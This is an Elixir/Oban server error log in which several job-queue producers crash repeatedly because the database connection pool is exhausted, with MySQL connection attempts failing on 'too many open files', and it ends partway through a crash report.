** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:32:40.238914Z], limit: 5, uuid: "b3fc7624-dcf7-457a-a2fb-954c1ef3e2d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:40.238920Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120708>, refresh_timer: #Reference<0.2525715032.1099431938.22144>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:32:40.240801Z], limit: 20, uuid: "295b0e22-61cf-4208-8377-6e50a78e2612", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:40.240807Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22159>, refresh_timer: #Reference<0.2525715032.1099431938.22156>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:51.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:32:40.241059Z], limit: 3, uuid: "e6c3b51f-410f-4cd4-a320-8c63c00578f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:40.241064Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120710>, refresh_timer: #Reference<0.2525715032.1077411843.251971>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:51.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:32:40.239438Z], limit: 10, uuid: "1d82fd28-fa4d-4e18-882f-a665ba03620c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:40.239443Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120707>, refresh_timer: #Reference<0.2525715032.1099431938.22143>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:32:40.241362Z], limit: 50, uuid: "0a220d2f-d01a-4cf2-a50b-447ebe0fced2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:40.241367Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.120709>, refresh_timer: #Reference<0.2525715032.1099431938.22158>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:51.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:32:40.239767Z], limit: 5, uuid: "02ba743f-8012-49ab-9791-41878375a207", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:40.239771Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.251977>, refresh_timer: #Reference<0.2525715032.1077411843.251942>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:32:51.933000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:52.117000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:54.382000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:32:54.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:00.052000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:01.013000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:03.028000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:33:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:32:51.250208Z], limit: 5, uuid: "2250299e-dc60-4bb9-adf3-1c723daa9901", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:51.250213Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22243>, refresh_timer: #Reference<0.2525715032.1077411843.252065>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:32:51.246555Z], limit: 20, uuid: "212f76b9-3c0f-4402-89d8-728ce2daf69f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:32:51.246561Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.22195>, refresh_timer: #Reference<0.2525715032.1068498948.14249>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:33:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
